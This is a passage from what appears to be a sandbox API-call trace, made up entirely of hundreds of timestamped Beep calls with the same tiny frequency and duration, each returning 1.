(dwFreq=0x27, dwDuration=0x1) returned 1 [0097.323] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.338] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.353] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.369] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.370] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.371] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.372] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.373] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.374] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.375] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.376] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.377] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.378] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.379] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.394] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.410] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.426] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.427] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.427] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.428] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.430] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.430] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.431] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.432] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.433] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.435] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.435] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.451] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.467] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.483] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.484] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.484] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.485] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.486] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.487] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.489] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.489] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.490] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.491] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.493] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.508] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.523] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.541] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.542] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.543] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.544] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.545] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.546] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.547] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.548] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.549] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.550] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.566] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.581] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.602] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.603] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.604] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.605] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.606] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.607] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.608] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.609] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.610] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.611] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.627] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.642] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.658] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.659] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.660] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.675] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.691] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.707] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.707] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.709] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.724] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.740] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.755] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.756] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.757] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.773] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.789] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.804] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.805] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.806] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.822] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.837] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.853] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.855] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.871] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.892] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.903] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.904] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.919] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.935] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.951] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.967] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.968] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.969] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0097.985] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.000] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.016] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.017] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.018] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.034] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.049] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.065] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.066] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.067] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.068] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.069] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.070] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.071] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.072] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.073] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.074] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.075] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.090] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.106] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.122] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.123] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.125] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.125] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.126] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.127] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.128] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.130] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.131] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.131] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.147] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.163] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.179] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.180] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.186] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.186] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.187] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.188] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.189] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.190] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.192] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.209] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.233] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.243] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.260] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.282] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.293] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.309] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.312] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.317] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.320] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.349] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.351] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.366] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.369] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.369] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.371] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.375] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.377] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.393] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.410] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.427] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.430] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.432] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.436] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.451] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.476] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.482] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.500] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.517] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.533] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.550] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.552] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.560] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.576] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.595] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.609] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.619] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.622] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.626] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.628] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.648] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.662] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.679] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.681] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.688] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.703] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.719] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.738] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.749] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.758] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.781] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.789] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.936] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.940] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.959] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.969] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0098.993] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.013] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.022] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.040] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.055] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.069] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.085] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.087] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.094] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.109] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.131] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.145] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.159] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.175] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.191] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.193] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.194] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.196] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.197] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.198] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.201] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.215] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.234] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.248] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.250] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.263] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.276] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.296] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.314] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.333] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.342] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.360] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.391] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.393] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.397] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.398] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.400] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.416] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.438] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.446] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.468] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.487] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.497] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.514] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.530] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.546] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.550] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.557] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.576] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.594] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.604] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.623] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.635] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.659] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.668] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.690] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.714] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.725] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.739] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.755] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.771] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.788] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.790] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.796] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.799] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.819] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.834] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.844] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.867] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.891] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.895] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.910] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.928] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.949] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.958] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.981] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0099.991] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.012] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.027] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.050] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.066] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.076] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.089] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.104] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.126] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.141] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.156] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.170] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.187] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.190] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.194] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.214] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.227] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.244] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.247] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.265] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.272] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.293] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.303] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.316] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.335] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.348] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.366] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.368] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.377] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.387] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.409] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.419] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.440] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.459] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.469] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.490] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.508] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.517] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.533] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.542] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.550] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.567] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.584] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.586] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.595] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.610] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.625] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.639] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.643] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.645] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.647] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.650] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.665] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.687] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.696] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.717] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.737] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.745] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.766] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.786] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.795] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.815] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.835] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.844] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.859] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.866] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.883] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.891] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.910] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.926] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.942] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.944] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.950] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.978] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.986] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.997] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0100.998] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.026] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.034] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.051] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.071] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.081] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.095] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.097] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.125] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.128] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.145] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.164] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.179] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.195] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.197] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.201] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.203] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.220] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.235] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.250] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.258] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.259] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.260] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.262] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.264] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.279] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.295] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.312] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.329] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.344] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.352] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.368] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.377] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.394] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.410] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.427] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.428] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.444] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.464] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.478] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.506] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.509] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.527] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.550] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.559] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.578] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.599] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.607] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.623] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.630] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.641] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.657] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.675] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.691] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.705] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.724] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.737] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.759] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.773] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.787] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.802] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.824] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.839] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.854] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.870] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.872] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.880] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.897] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.911] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.925] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.928] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.930] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.931] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.934] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.936] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.953] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.967] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0101.986] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.001] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.015] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.032] Beep (dwFreq=0x27, 